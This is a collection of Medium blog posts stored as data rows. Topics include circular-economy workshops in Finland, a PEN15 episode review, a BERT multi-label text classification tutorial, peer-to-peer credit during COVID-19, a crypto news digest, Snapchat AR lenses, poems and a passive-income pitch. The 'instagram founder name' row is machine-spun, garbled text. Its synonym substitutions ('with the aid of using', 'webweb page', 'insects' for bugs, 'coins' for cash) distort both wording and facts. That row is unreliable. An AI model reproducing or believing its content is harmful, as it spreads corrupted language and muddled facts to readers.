In the fall of 2018, a review of this roadmap took place in a series of workshops to ensure that the roadmap was taking the nation in the right direction. I was invited to be part of the group of professionals participating, and together with representatives from ministries, cities, municipalities, industry federations, research groups as well as some of Finland’s largest companies, spent several fall mornings assessing the previous roadmap priorities, filling in gaps, and proposing new pilot projects to help Finland get swiftly on its way towards a truly circular economy.
Photo by Štefan Štefančík on Unsplash
So, what did I learn from sitting in a room with the key stakeholders making circular economy a reality in Finland?
1. The private sector is moving and the public sector needs to pick up the pace.
Enticed by the business potential of being a leader in sustainability, the private sector seems to be chomping at the bit to get started on pilot projects and partnerships for circular economy. Meanwhile, the public sector lags behind in concrete action, seemingly because it is still unclear what that action should be. Many recognize that the public sector wields great influence over how circular models will play out in our society, and are crying out for more legislation, taxation or subsidies to make experimentation in circular models easier. It’s time for the public sector to take a page out of the private sector’s books, and move from planning to doing.
2. More cooperation is needed across sectors, but few want to take ownership.
Regardless of sector, everyone recognizes that no one alone can build a circular model: the key is partnerships, across industries, government ministries, cities and between the private and public sector. However, there is an inherent problem with this: dilution of ownership and therefore, accountability. In the first few hours of being together, the discussion threatened to devolve into finger-pointing over who wasn’t doing enough or monologues on how much one’s own sector had done. Later, the proposed pilot projects and action items were, for the most part, dumped onto various ministries or public funding agency Business Finland (with a few notable exceptions, where private sector companies nominated themselves to take the lead on pilots closely affecting their industry).
Is this a symptom of the public sector not pulling their weight or a general unwillingness of organizations to take ownership? Regardless, it’s time for players across industries and sectors to stop looking around at others. Instead, they must stick their own neck out for circular economy, even when it might seem daunting. After all, that’s how real leaders are made.
3. Circular economy education and assessment must be incorporated into all project funding processes.
Perhaps the most crucial action items that emerged from the workshops were a need for more funding for circular economy projects and for more circular economy education to a wider audience. It is critical to assess all spending, public and private, on the basis of its contributions to circular economy and climate action. This would mean getting rid of specialized “green funds”, recognizing that if we want the country to be a leader in circular economy, we must shift all our investments to advance this goal. Professionals allocating funds would then need to be educated on circular economy, and most importantly, professionals across fields would need to understand, strategize and innovate for circular economy. This means getting academics and sustainability professionals out of their bubble, and bringing practical circular economy to all businesses and government bodies, as well as ensuring students are introduced to circular economy well before university. Hand-in-hand with this wider circular economy education, funding bodies and businesses alike will need to focus more on long-term thinking and scalability of circular economy when assessing projects and business models.
4. We need to be weary of hype without stalling action.
It didn’t matter what sector or organization a participant represented — everyone was clearly excited about the potential of circular economy. Many saw circular economy innovation as a key tool to re-imagine our communities, grow business, and boost Finland’s image and competitiveness globally. This excitement was often reflected in project descriptions which referred to circular economy solutions as “win-win-win” for business, people and environment alike. But as I’ve previously written, win-win scenarios can be dangerous, ignoring solutions that might in fact be more optimal for people or environment than business would tolerate. In addition, the potential negative consequences and rebound effect of circular economy solutions were worryingly absent from the conversation. It’s easy to get caught up in the hype when preaching to a choir of sustainability enthusiasts. While experiments and pilots are where we can test out ideas, it is important that pilot projects are critically observed for secondary effects, and that we don’t allow circular economy to become a supplement to business as usual.
5. Circular economy may be the hardest, yet most vital thing, we have worked toward as a nation.
The Sitra workshops provided a sampling of why circular economy work is so difficult: it requires stakeholders from very different backgrounds and with very different priorities to come together, often building an entirely new way of thinking and doing things. The entities we are working with are huge and require time to get moving. However, there is one thing we all agreed on, and that is that we do not have any other choice… and that we are running out of time. The move away from a linear system to a circular one is a requirement for achieving carbon reductions and ensuring a safe and prospering country, and planet, for us all. The clear, underlying sentiment was that the time for talk is over. The time for action is now. In the end, not one person questioned the goal — the only argument was on how we get there. | https://medium.com/pure-growth-innovations/five-lessons-from-sitras-circular-economy-roadmap-workshops-946d886b8a07 | ['Anna Pakkala'] | 2018-10-04 08:15:04.815000+00:00 | ['Government', 'Circulareconomy', 'Business', 'Sustainability', 'Funding'] |
instagram founder name | Instagram, the image sharing app created with the aid of using Mike Krieger and Kevin Systrom from Stanford University, spins the story of achievement capitalized the proper manner. Launched manner again withinside the 12 months 2010, Instagram nowadays boasts of seven hundred million registered customers, with extra than four hundred million human beings touring the webweb page on a everyday basis. Out of the seven hundred million customers, round 17 million are from the UK alone! When the 2 founders began out speakme approximately their concept, they quick realised that they’d one purpose in mind: to make the biggest cell image sharing app. However, earlier than Instagram, the 2 had labored collectively on a comparable platform referred to as Burbn. For Instagram to work, Krieger and Systrom determined to strip Burbn right all the way down to the naked necessities. Burbn became pretty just like Instagram and had functions which allowed customers to feature filters to their pictures. The social networking webweb page Instagram reached 1000000000 energetic customers in 2019. The US-primarily based totally video and image-sharing app is a achievement tale that has spread out because its release in October 2010 with the aid of using Stanford University college students Mike Krieger and Kevin Systrom. Systrom majored in control technological know-how and engineering, at the same time as Krieger studied symbolic systems — a department of pc research mixed with psychology. When the 2 founders met, they began out discussing their concept for a brand new app and realised they shared a purpose: to create the world’s biggest cell image-sharing app. Budding entrepreneur Fellow college students recalled Systrom as being clearly gregarious and a budding entrepreneur from a younger age. He in short ran a market that became just like Craigslist for fellow Stanford college students. Krieger had exclusive capabilities and one in all his college tasks were designing a pc interface that could gauge human emotions. Prior to Instagram, that they’d collaborated on a comparable platform referred to as Burbn. They determined to strip it down and use it as the premise for Instagram. Burbn had functions that enabled customers to feature filters to their photographs, so the duo studied each famous image app to peer how they might development further. Eventually, they determined it wasn’t operating and scrapped Burbn in favour of making a totally new platform. Their first attempt became Scotch, a predecessor to Instagram, however it wasn’t a achievement, because it didn’t have sufficient filters, had too many insects and became slow. Once Instagram became launched for Android phones, the app became downloaded extra than 1,000,000 instances a day. Interestingly, the web social media platform became ready to get hold of an funding of $ 500 million. Furthermore, Systrom and Zuckerberg had been in talks for a Facebook poised takeover. In April 2012, Facebook made a proposal to buy Instagram for approximately $ 1 billion in coins and stock, with the important thing provision that the enterprise could continue to be independently managed. Shortly thereafter and simply previous to its preliminary public offering, Facebook received the enterprise for the whopping sum of $ 1 billion in coins and stock. After the Facebook acquisition, the Instagram founders have completed little to alternate the consumer phase, sticking to the simplicity of the app. The remarkable upward push of Instagram’s recognition proves that human beings agree with in actual connections as opposed to the ones primarily based totally on simplest words. Since the acquisition, Instagram’s founders haven’t made many adjustments to the consumer experience, who prefer to paste to the app’s simplicity. Its upward push in recognition proves that human beings revel in the manner the app works and just like the image-primarily based totally connections it provides. One of the maximum essential instructions of Instagram’s achievement is that the founders didn’t waste time seeking to keep their authentic concept, Burbn. Once they determined it wasn’t going to work, they moved on quick and invented Instagram. Systrom stated its call became primarily based totally on “immediate telegram”. The app became released at simply the proper time — and with simplest 12 personnel initially, the consumer base had increased to extra than 27 million earlier than Instagram became offered to Facebook. Today, maximum celebrities use it as a platform for promotions and with 1000000000 customers, it keeps to head from power to power. | https://medium.com/@qaak/instagram-founder-name-6b51ec2c09dc | [] | 2020-12-17 07:22:37.479000+00:00 | ['SEO', 'Instagram', 'Technews', 'Technology', 'Success Story'] |
Reaching | Poetry
Reaching
Photo by Cristofer Jeschke on Unsplash
Standing on the precipice
from my perch
vantage and advantage gained
Looking out, I see more
I reach for more
Climbed high in these branches — Home
rising sights, raised ever higher.
Niched in the nook
of tree limb’s crook
I breathe out. She breathes in
She exhales and I, held,
am given breath.
Held
Perched On Old Oak
I am reminded of the truth; | https://medium.com/tree-stories/reaching-e2b00a515056 | ['Fleur Sauvage'] | 2020-12-21 10:02:25.912000+00:00 | ['Nature', 'Poetry', 'Inspiration', 'Climbing', 'Trees'] |
Can Best Friendship Save Us? | PEN15 deals with endless growing pains; everything from puberty, first loves, heartbreaks, masturbation, best friendship, and family dynamics. Though the show follows Maya Ishii-Peters and Anna Kone’s BFF bond specifically, it must also grapple with the relationships that inform their adolescent experiences together and individually. One of the ways it complies is by taking us on a tedious journey of Anna’s parents deciding to end their marriage, and figuring out how to do so amicably. They’re rarely successful, with a multitude of confusing ordeals and rising tensions that compound and expand through Anna and Maya’s relationship.
“Vendy Wiccany” (S2E3) opens with Anna and Maya watching TV at Anna’s while her parents’ voices rise a couple rooms over. The friends try to ignore the argument until the sound of glass shattering has them running to see what’s going on behind the door. Anna stares, engrossed in the visual of her parents’ argument, and it’s not until something else shatters that suddenly Maya takes charge, grabbing Anna’s arm to remove her from the situation. Together they run out the front door and away. They prance through the meadows — Anna with tears streaming down her face — but soon enough her tears fade and they laugh. It’s an escape built for Anna and facilitated by Maya; a utopia both girls can travel together where nothing can harm them. Maya is the distractor; since neither girl knows how to deal with the violence and arguing inside Anna’s home, it isn’t addressed. Maya and Anna enter another realm to avoid the reality that afflicts them — as long as they are together nothing, and no one, can touch them.
By the time we get to “Opening Night” (S2E7), both the latest installment and mid-season-finale (with the rest of the season expected in 2021), circumstances have shifted drastically. Anna’s parents’ divorce is no longer something that the two girls traverse together; it has become something markedly individual for Anna. Her battles shift inward, and because it’s “out of sight, out of mind” for Maya, she doesn’t blink.
“Opening Night” is built around the school play. Maya is the main actress and Anna is backstage manager — each of them have opposing lead roles, conducive to both their individual development but also to major friendship conflict. They can’t resolve their differences, refusing to wish the other luck in their respective roles in the play. It’s not until Maya fumbles her lines in the play that Anna reaches out to help, giving Maya a fresh confidence for the remainder of her performance and in turn reorienting the two best friends. The duo is reunited, this time with a new appreciation of a self that exists apart from one another.
After the play, Anna and Maya go down to the local pizza joint with the rest of the school to celebrate. Maya’s family brags about her to everyone that walks past, and Anna’s mom gushes about how the show could not have gone on without Anna behind the scenes. When Anna’s dad arrives after missing the play, he tells Anna he couldn’t make it because he was buying a new car. Maya bursts with excitement, asking to go see it. Anna, clearly confused as she watches her mom storm to the bathroom in frustration, bottles her disappointment to instead mirror Maya’s energy. It’s a moment where the duo is on different pages but act as one. Anna smiles and follows Maya so as not to discourage her, but she knows inside that something isn’t right.
The girls go sit in the car with Maya’s theater boyfriend until Anna leaves to give the couple privacy for their first kiss. Anna stands in the corner talking to a classmate she hardly knows, and discovers his parents are also divorced. He’s drinking from a flask and offers her a swig — which she takes. While Maya is having her potential first kiss, Anna is having her first drink. The juxtaposition of these moments is heightened suddenly, as Anna’s crush walks past, presenting the potentiality of what could be versus what is. Anna should be having her first kiss with this boy instead of sharing a drink and talking about her parents relationship with another kid. But these are her and Maya’s separate realities now — whereas before the two besties said they would experience all of their “firsts” together, now there is demand for distance. As Anna and Maya age, their lives grow further apart. Their differences become more obvious.
But the duo continuously shows us it doesn’t matter that their life experiences will be different at every turn. What these two need more than anything is each other — and they sustain that. There is nothing that will keep them apart. When Anna looks over to see Maya crying alone in the car, she rushes over to discover that rather than having her first kiss, Maya was getting dumped. Their separate realities turn out not all they’re cracked up to be, but once they’re together again it feels like home. Anna tries to cheer Maya up by making sure she knows what she means to her:
“See that one little star up there? The brightest one that’s a little droopy? That’s you. They’re still bright even at their lowest. Just like you.”
PEN15 S2E7 “Opening Night”
Anna’s tenderness with Maya is emphatic; she bestows an older sister–type wisdom on her. Anna helps Maya heal, and her speech doubles as a self invocation — a reminder that she, too, is bright even when her parents push her into a corner. Anna is learning how to negotiate the disbanding of her parents’ relationship, and maps that onto her and Maya’s in a new way. As Maya confronts her first heartbreak, Anna carries her best friend on her shoulders and into the peaceful night. As Anna’s world falls apart, she does what she does best: loves Maya. The solace they find together is enough in that moment. Just like they wandered through meadows, they now roam the stars. We know it cannot and will not last forever, but at least it will keep them in tandem for a short while longer.
The episode ends with Anna’s dad driving the girls home for a sleepover; Maya in the backseat lamenting the loss of her first love, and Anna sticking her arms out into the night air, feeling a moment of peace. As they ride away, Sam, longtime friend and unrealized romantic interest of Maya, calls out to her, giving us hope for Maya’s future. A moment later, Anna’s dad shares that he’s looking for a new apartment and Anna has to choose whether she wants to live with him or her mom. He turns up the radio, and she looks out into the night, her face contorting as she holds in her tears. As Maya’s potential future with Sam dangles on the horizon, Anna is left hopeless, and reeling, with no one to turn to. The world of adolescence does not give Anna the grace of escape with Maya this time, fortifying that from this moment on, she will have to learn to manage on her own. But Anna’s loneliness need not taint her and Maya’s alliance, as shown just a few moments earlier. Being Maya’s best friend can save her. | https://medium.com/@donnafotoohi/can-best-friendship-save-us-41fcfb2d3d74 | [] | 2020-12-17 19:04:10.553000+00:00 | ['TV Criticism', 'Growing Up', 'Pen15', 'Childhood', 'Friendship'] |
Multi-label Text Classification using BERT – The Mighty Transformer | The past year has ushered in an exciting age for Natural Language Processing using deep neural networks. Research in the field of using pre-trained models have resulted in massive leap in state-of-the-art results for many of the NLP tasks, such as text classification, natural language inference and question-answering.
Some of the key milestones have been ELMo, ULMFiT and OpenAI Transformer. All these approaches allow us to pre-train an unsupervised language model on large corpus of data such as all wikipedia articles, and then fine-tune these pre-trained models on downstream tasks.
Perhaps the most exciting event of the year in this area has been the release of BERT, a multilingual transformer based model that has achieved state-of-the-art results on various NLP tasks. BERT is a bidirectional model that is based on the transformer architecture, it replaces the sequential nature of RNN (LSTM & GRU) with a much faster Attention-based approach. The model is also pre-trained on two unsupervised tasks, masked language modeling and next sentence prediction. This allows us to use a pre-trained BERT model by fine-tuning the same on downstream specific tasks such as sentiment classification, intent detection, question answering and more.
Okay, so what’s this about?
In this article, we will focus on application of BERT to the problem of multi-label text classification. Traditional classification task assumes that each document is assigned to one and only on class i.e. label. This is sometimes termed as multi-class classification or sometimes if the number of classes are 2, binary classification.
On other hand, multi-label classification assumes that a document can simultaneously and independently assigned to multiple labels or classes. Multi-label classification has many real world applications such as categorising businesses or assigning multiple genres to a movie. In the world of customer service, this technique can be used to identify multiple intents for a customer’s email.
We will use Kaggle’s Toxic Comment Classification Challenge to benchmark BERT’s performance for the multi-label text classification. In this competition we will try to build a model that will be able to determine different types of toxicity in a given text snippet. The types of toxicity i.e. toxic, severe toxic, obscene, threat, insult and identity hate will be the target labels for our model.
Where do we start?
Google Research recently open-sourced the tensorflow implementation of BERT and also released the following pre-trained models:
BERT-Base, Uncased : 12-layer, 768-hidden, 12-heads, 110M parameters BERT-Large, Uncased : 24-layer, 1024-hidden, 16-heads, 340M parameters BERT-Base, Cased : 12-layer, 768-hidden, 12-heads , 110M parameters BERT-Large, Cased : 24-layer, 1024-hidden, 16-heads, 340M parameters BERT-Base, Multilingual Cased (New, recommended) : 104 languages, 12-layer, 768-hidden, 12-heads, 110M parameters BERT-Base, Chinese : Chinese Simplified and Traditional, 12-layer, 768-hidden, 12-heads, 110M parameters
We will use the smaller Bert-Base, uncased model for this task. The Bert-Base model has 12 attention layers and all text will be converted to lowercase by the tokeniser. We are running this on an AWS p3.8xlarge EC2 instance which translates to 4 Tesla V100 GPUs with total 64 GB GPU memory.
I personally prefer using PyTorch over TensorFlow, so we will use excellent PyTorch port of BERT from HuggingFace available at https://github.com/huggingface/pytorch-pretrained-BERT. We have converted the pre-trained TensorFlow checkpoints to PyTorch weights using the script provided within HuggingFace’s repo.
Our implementation is heavily inspired from the run_classifier example provided in the original implementation of BERT.
Data representation
The data will be represented by class InputExample.
text_a: text comment
text_b: Not used
labels: List of labels for the comment from the training data (will be empty for test data for obvious reasons)
We will convert the InputExample to the feature that is understood by BERT. The feature will be represented by class InputFeatures.
input_ids: list of numerical ids for the tokenised text
input_mask: will be set to 1 for real tokens and 0 for the padding tokens
segment_ids: for our case, this will be set to the list of ones
label_ids: one-hot encoded labels for the text
Tokenisation
BERT-Base, uncased uses a vocabulary of 30,522 words. The processes of tokenisation involves splitting the input text into list of tokens that are available in the vocabulary. In order to deal with the words not available in the vocabulary, BERT uses a technique called BPE based WordPiece tokenisation. In this approach an out of vocabulary word is progressively split into subwords and the word is then represented by a group of subwords. Since the subwords are part of the vocabulary, we have learned representations an context for these subwords and the context of the word is simply the combination of the context of the subwords. For more details regarding this approach please refer Neural Machine Translation of Rare Words with Subword Unitshttps://arxiv.org/pdf/1508.07909.
P.S. This in my opinion is as important a breakthrough as BERT itself.
Model Architecture
We will adapt BertForSequenceClassification class to cater for multi-label classification.
The primary change here is the usage of Binary cross-entropy with logits (BCEWithLogitsLoss) loss function instead of vanilla cross-entropy loss (CrossEntropyLoss) that is used for multiclass classification. Binary cross-entropy loss allows our model to assign independent probabilities to the labels.
The model summary is shows the layers of the model alongwith their dimensions.
BertEmbeddings: Input embedding layer BertEncoder: The 12 BERT attention layers Classifier: Our multi-label classifier with out_features=6, each corresponding to our 6 labels
Training
The training loop is identical to the one provided in the original BERT implementation in run_classifier.py. We trained the model for 4 epochs with batch size of 32 and sequence length as 512, i.e. the maximum possible for the pre-trained models. The learning rate was kept to 3e-5, as recommended in the original paper.
We had the opportunity to use multiple GPUs. so we wrapped the Pytorch model inside DataParallel module. This allows us to spread our training job across all the available GPUs.
We did not use half precision FP16 technique as for some reason, binary crosss entropy with logits loss function did not support FP16 processing. This doesn’t really affect the end result, it simply takes a bit longer to train.
Evaluation Metrics
We adapted the accuracy metric function to include a threshold, which is set to 0.5 as default.
For multi-label classification, a far more important metric is the ROC-AUC curve. This is also the evaluation metric for the Kaggle competition. We calculate ROC-AUC for each label separately. We also use micro-averaging on top of individual labels’ roc-auc scores.
I would recommend reading this excellent blog to get a deeper insight on the roc-auc curve.
Evaluation Scores
We ran a few experiments with a few variations but more of less got similar results. The outcome is as listed below:
Training Loss: 0.022, Validation Loss: 0.018, Validation Accuracy: 99.31%
ROC-AUC scores for the individual labels:
toxic: 0.9988
severe-toxic: 0.9935
obscene: 0.9988
threat: 0.9989
insult: 0.9975
identity_hate: 0.9988
Micro ROC-AUC: 0.9987
The result seems to be quite encouraging as we seems to have created a near perfect model for detecting toxicity of a text comment. Now lets see how we score against the Kaggle leaderboard.
Kaggle result
We ran inference logic on the test dataset provided by Kaggle and submitted the results to the competition. The following was the outcome:
We scored 0.9863 roc-auc which landed us within top 10% of the competition. To put this result into perspective, this Kaggle competition had a price money of $35000 and the 1st prize winning score is 0.9885.
The top scores are achieved by teams of dedicated and highly skilled data scientists and practitioners. They use various techniques as such ensembling, data augmentation and test-time augmentation in addition to what we have done so far.
Conclusion and Next Steps
We have tried to implement the multi-label classification model using the almighty BERT pre-trained model. As we have shown the outcome is really state-of-the-art on a well-known published dataset. We were able to build a world class model that can be used in production for various industries, especially in customer service.
For us, the next step will be to fine tune the pre-trained language models by using the text corpus of the downstream task using the masked language model and next sentence prediction tasks. This will be an unsupervised task and hopefully will allow the model to learn some of our custom context and terminologies. This is similar technique used by ULMFiT. I will share The outcome in another blog so do watch out for it.
I have shared most of the code for this implementation in the code gist. However I will merge my changes back to HuggingFace’s github repo.
I would encourage you all to implement this technique on your own custom datasets and would love to hear some stories.
I would love to hear back from all. Also please feel free to contact me using LinkedIn or Twitter. | https://medium.com/huggingface/multi-label-text-classification-using-bert-the-mighty-transformer-69714fa3fb3d | ['Kaushal Trivedi'] | 2019-02-13 22:22:25.299000+00:00 | ['Machine Learning', 'Bert', 'NLP', 'AI', 'Deep Learning'] |
Re-learning the use of credit in times of COVID-19: how can governments help? | TLDNR — Reintroducing the use of peer-to-peer credit on a large scale, with governments partially guaranteeing the IOUs being issued, could help mitigate the cash crisis many companies face because of COVID-19.
In a short LinkedIn article, entitled IOUs as tools of economic autonomy, I recently noted that direct credit operations between businesses, for example via bills of exchange, have mostly disappeared in the Western world. The last country where this was done on a large scale was Germany: as late as 1986, the rediscounting of corporate bills of exchange (“Wechsel”) still represented 60% of central bank liquidity for German banks. This market disappeared almost completely in 1999, as the ECB stopped discounting bills of exchange.
Most credit operations are now naturally done via the intermediary of banks, but this does have a downside, and the article concluded:
“Should banks be forced to reduce the level of credit they are prepared to provide, as happened in 2008, businesses will find it more difficult to revert to using credit directly, as they have mostly forgotten how to do it.” I therefore believe that re-learning the use of peer-to-peer credit, even to some limited extent, can actually have a positive effect even in an advanced economy. It can foster economic autonomy in the sense of having less dependence on the banking system. sikobaPay itself is mostly targeted at developing countries, where informal and undocumented credit is widely used: it specifically aims to overcome the limitations of such informal credit by making legal recognition possible, allowing for efficient clearing of debt and providing an audit trail. But there is no reason why sikobaPay could not also be used in developed countries, by individuals and businesses alike, in order to have a back-up mechanism in place, just in case.
This was written less than two months ago, and at that time it was not yet clear (at least to me) how massive the impact of COVID-19 on many businesses will be. Today, that effect is felt everywhere. COVID-19 forces us to consider alternative and unusual solutions, and re-introducing peer-to-peer credit on a large scale is one of them. It is not a panacea, but it could help individuals and businesses to do more even when money is very scarce.
The problem is that most individuals and businesses in developed counties are not comfortable using credit, so there needs to be an incentive to jump-start this activity. One solution is the following: governments could guarantee IOUs created in a system such as sikobaPay, up to a certain amount. These guarantees could be given, in different amounts, to individuals, self-employed people and companies. This would provide everyone with an incentive to start using p2p credit, while governments would not have to make an immediate cash disbursement. | https://medium.com/sikoba-network/re-learning-the-use-of-credit-in-times-of-covid-19-how-can-governments-help-ac1b97338bfe | ['Alex Kampa'] | 2020-05-10 14:38:17.221000+00:00 | ['Sharing Economy', 'Sikoba', 'Sikobapay'] |
Crypto Daily News from ZBG Exchange | 1. Bitcoin Price Sees Largest Daily Loss in 10 Months
Bitcoin ended Thursday down 13%, posting its largest daily drop since the market crash of March 2020. The leading cryptocurrency’s drop is “probably just a dip,” according to Techemy Capital trader Josh Olszewicz, who is not expecting a prolonged correction. Bloomberg analyst Mike McGlone agreed, telling CoinDesk he could see bitcoin (BTC, -11.17%) “probing for support and resistance within a mostly $30,000 to $40,000 range for awhile until embarking on the next leg of the stair-step rally.” But Guggenheim’s CIO Scott Minerd thinks bitcoin maybe have topped temporarily, saying that a retrace to $20,000 is possible. Significant selling over the past week on U.S.-based exchange Coinbase signals profit-taking by investors, per CoinDesk’s prior reporting, after bitcoin nearly tapped $42,000 earlier in January. Leading alternate cryptocurrencies (altcoins) like ether (ETH, -13.58%) and chainlink (LINK, -10.73%) also recorded double-digit percentage losses. Thursday’s drop helped erase most of bitcoin’s yearly gains, with the cryptocurrency now up only 6% in 2021.
2. Why Everyone From Square to Facebook Is Now Hosting the Bitcoin White Paper
Some of the Bitcoin community’s most prominent voices (and also Facebook subsidiary Novi) are now hosting the Bitcoin white paper. The move follows legal threats from nChain Chief Scientist Craig Wright levied against the nonprofit that has long hosted crypto’s foundational document. “Yesterday, both Bitcoin.org and Bitcoincore.org received allegations of copyright infringement of the Bitcoin white paper by lawyers representing Craig Steven Wright,” the nonprofit wrote Thursday morning. Bitcoin was created by the pseudonymous Satoshi Nakamoto, who has yet to be conclusively identified. Wright has repeatedly made claims that he is Satoshi.
3. Minority Mining Pools Threaten to Collude Against Contentious Ethereum Update
Ethereum miners have formed a cartel of sorts to thwart the implementation of a now contentious proposal — one they say cuts into their bottom line unfairly. Eight Ethereum mining pools amounting to around 30% of the network’s hash power have cast their support behind tiny mining pool Flexpool’s stance against Ethereum Improvement Proposal (EIP) 1559. The small pool — which only mined 10 blocks among 48 miners in December — is now calling on Ethereum miners to jump ship from major mining pools that support the update such as Sparkpool (24% network hash power) and F2Pool (11%).
4. Bitcoin Breaks Below $30K, Erasing Almost All of 2021’s Gains
Bitcoin dropped below $30,000, pushing this week’s losses briefly over 17% amid continued profit-taking. Per CoinDesk’s prior reporting, the recent drop in bitcoin (BTC, -11.21%)’s price is likely due to widespread profit-taking by U.S. and European investors, according to trading activity on leading cryptocurrency exchange Coinbase. Bitcoin dropped to $29,112 on Coinbase at 0:30 UTC on Thursday, a level reached on Jan. 4 when the leading cryptocurrency started rallying hard to an all-time high of just below $42,000 on Jan. 8. At press time, the price of bitcoin was $30,025, down about 15% over the last 24 hours. Guggenheim’s CIO Scott Minerd, who has said bitcoin should be worth $400,000, said yesterday he thinks bitcoin maybe have topped temporarily, saying that a retrace to $20,000 is possible. The continued selling has pushed bitcoin’s year-to-date gains below 1%. Bulls may be able to pare losses though, according to Bloomberg analyst Mike McGlone who told CoinDesk, “Bitcoin appears similar to May-June 2017 price range of $3000-$2000 before breaking out higher.”
5. Signature Bank Crosses $10B in Deposits From Crypto Customers
Deposits from digital currency customers now make up nearly 16% of total deposits at New York’s Signature Bank. In an earnings call Thursday, Signature revealed that deposits from customers in the crypto industry now total $10 billion — twice that of California rival Silvergate Bank. “We’ve clearly become the preeminent player in that space,” said Eric Howell, the company’s executive vice president of corporate and business development. “It’s obvious that digital assets and cryptocurrencies are not going away.”
Founded in July 2018, ZBG is a Hong Kong-based cryptocurrency exchange, a global platform of ZB.COM.
ZBG.com has quickly become one of the top 10 exchanges in the world with its innovative, efficient and global operations, and is known as a “New First-Tier” exchange.
Currently, ZBG supports 11 languages, with an average daily activity of more than 160,000, providing over 3 million users around the world with trustworthy cryptocurrency trading, contract trading and other crypto asset investment services.
In the future, ZBG will continue to expand its global market and provide stable, safe and fast blockchain project listing, diversified crypto assets and blockchain derivatives investment services to more blockchain enthusiasts around the world.
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Link to future value!
ZBG Team
January 22, 2021 | https://medium.com/@zbgofficial/crypto-daily-news-from-zbg-exchange-8d98d098c674 | [] | 2021-01-22 03:14:44.975000+00:00 | ['Cryptocurrency', 'Bitcoin', 'Zbg', 'Crypto', 'Mining'] |
AR lenses for Christmas | This is a Christmas special post listing 3 AR lenses to have fun with, in this holidays season.
When the season comes you have special stickers for Facebook, WhatsApp but…
SnapChat apart from stickers has a collection of AR lenses which is termed as World Lenses.
This the one I am talking about. Here you have a mix variety of Augmented Reality fun experiences and in this post we bring you 3 best suitable AR Lenses for Christmas spirit.
1- Cookie Dance
Here you will see Christmas special cookies (gingerbread… man shaped cookies) dancing in a festive parade. Use your rear phone camera and see the fun cookies dancing on your real world surroundings.
Here is the direct link to the lens:
2- Winter Decorations
This lens has a very soothing festive music along with well rendered Christmas Tree and Decorations. This is surely going to turn your room into a Christmas Celebrations.
Here is the direct link to the lens:
3- Night Magic
This a classic movie type lens where your room will turn into a Christmas night sky with a large moon shining and Santa Claus fly around dropping gift boxes in his deep laud voice showering good wishes.
Here is the direct link to the lens:
If you want see these lenses in action… here is a quick video capturing the experience.
⭐ So enjoy the holidays. ⭐
🌲 Merry Christmas to everyone! 🌲 | https://medium.com/@ppsagar786/ar-lenses-for-christmas-92ab5aa40e5b | ['Pushpendra Prakash Sagar'] | 2020-12-25 18:30:07.333000+00:00 | ['Appreciation', 'Christmas', 'Ar Lenses', 'Augmented Reality', 'Festive Ar Experience'] |
Ramble | From now on maybe
my poems
will ramble
they will stretch
for miles and miles
taking up the scenery and space.
They seem to feel like someone
has told them something about
longer is best,
more means automatically quality
and the heart of the matter, the point,
the purpose, is something that only
exists at the end of
a long trail,
a winding road
of words words more words —
but did I mention
I’m not really the rambling kind?
Did I mention I know your
mind and mine
tend to take it all in
in spurts of wisdom, moments of
brief inspiration, hits of
quick motivation,
and the thing that we take in
most is
connection
across a scrolling flipping searching
rolling rambling screen —
we take what we can get
maybe breathe maybe smile a bit,
and then it’s off to click and scroll
and search again
for the next brief big thing in
the daily journey
the online intellectual grind
reaching and grabbing for
a small moment
with you,
in real time. | https://medium.com/the-partnered-pen/ramble-8218dd9e2c40 | ['Jenny Justice'] | 2019-11-05 11:07:53.804000+00:00 | ['Poetry', 'Community', 'Writing', 'Writer', 'Social Media'] |
2020- From where I stand 2020 has surely been the most challenging year the world has faced due to… | 2020- From where I stand
2020 has surely been the most challenging year the world has faced due to COVID-19. I know many of you will not agree with me when I say that 2020 was one of the best years of my life. I remember posting statuses on social media in the beginning of the year saying "2020 please be kind to me" "practicing gratitude for 2020" etc. and to my surprise it did.
I have been doing nothing but saying thank you to the universe for this year. To be honest nothing really changed, things did not work out for me but you know what they didn’t go terribly wrong either. The world stopped and suddenly everyone around me could relate to what I was going through past few years. With the uncertainties in career, with rejections despite being capable, with being misunderstood, with being gossiped about, with the mental stress that comes from being away from your job- the very source of confidence & stability and with everything else that I couldn’t reciprocate, even to my loved ones
COVID-19 made us all stand , it didn’t matter who you once over took or how far behind you were. Beliefs shattered, rat race was no more a priority, instead we all were and somewhat still are in the pursuit of being safe and happy. I remember how my dreams collapsed and broke down into peices when lockdown was declared but eventually I fell in love with some pieces and outgrew some. Took what was left of me and marched ahead, and to my surprise it worked out very well for me.
I remember reading quotes about 'change' but it was not until this time that I could genuinely relate to it. Change truly is inevitable and only if we stop resisting it & stop obsessing over that 'perfect picture' we have in our head and instead embrace the flow of destiny, we can see that there are millions of reasons to smile, to be happy and to be truly grateful.
I couldn’t be more affirmative and confident of what i say when I say that 'sometimes blessings come in disguise and 2020 proved it' This was not what I intended to write as my first blog but I guess I owed it to 2020, the most productive, eye opening and peaceful year of my life. | https://medium.com/@vanarsesam/2020-from-where-i-stand-2020-has-surely-been-the-most-challenging-year-the-world-has-faced-due-to-4f7e540246fe | ['Samruddhi Vanarse'] | 2020-12-25 14:24:10.915000+00:00 | ['Lessons Learned', '2020', '2021', 'Dreams', 'Gratitude'] |
Is Passive Income a myth? | What are you doing to create your income? Is it hard work? Are you trading your time for money? Are you required to be present? Are you wondering how you will get out of the rat race alive?
Creating leveraged income sources (other wise known as Passive income) is the only route to freedom.
This is the same method that all wealthy, abundant and free people have do ne it before you. But this doesn’t happen by accident. You need to know how it’s done and then get to work creating those systems which will make you free.
Passive income is the results of income that is created through systems. To set these systems up in the beginning requires you to take an active part in creating your future. Passive lifestyle is not a result of passive lifestyle. It requires effort in the beginning to get paid in the long term.
There are many reports and financial gurus who proclaim that passive income does not exist. To them I would say they really don’t understand what passive income is. It better described as leverage income and it is the only path to acheive freedom both in time and money.
Leveraged income is putting int he work upfront to build a system that will pay you forever. Look at anyone who has created freedom financially or time-wise and you will see that this leveraged system exists.
Passive income is not a myth. But the system to create it for most people is a mystery. But it doesn’t have to be. Subscribe and stay close. I’ll show you how you can do it too.
#1passiveincomecoach #douglasvermeeren #millionairementor #createpassiveincome #multiplestreamsofincome #residualincome #leveragedincome | https://medium.com/@certifiedentrepreneur/is-passive-income-a-myth-c3e025d8f3ff | ['Douglas Vermeeren', 'Entrepreneur'] | 2019-01-16 16:45:42.079000+00:00 | ['Toppassiveincomecoach', 'Multiple Streams', 'Douglas Vermeeren', 'Passive Income', 'Entrepreneurship'] |
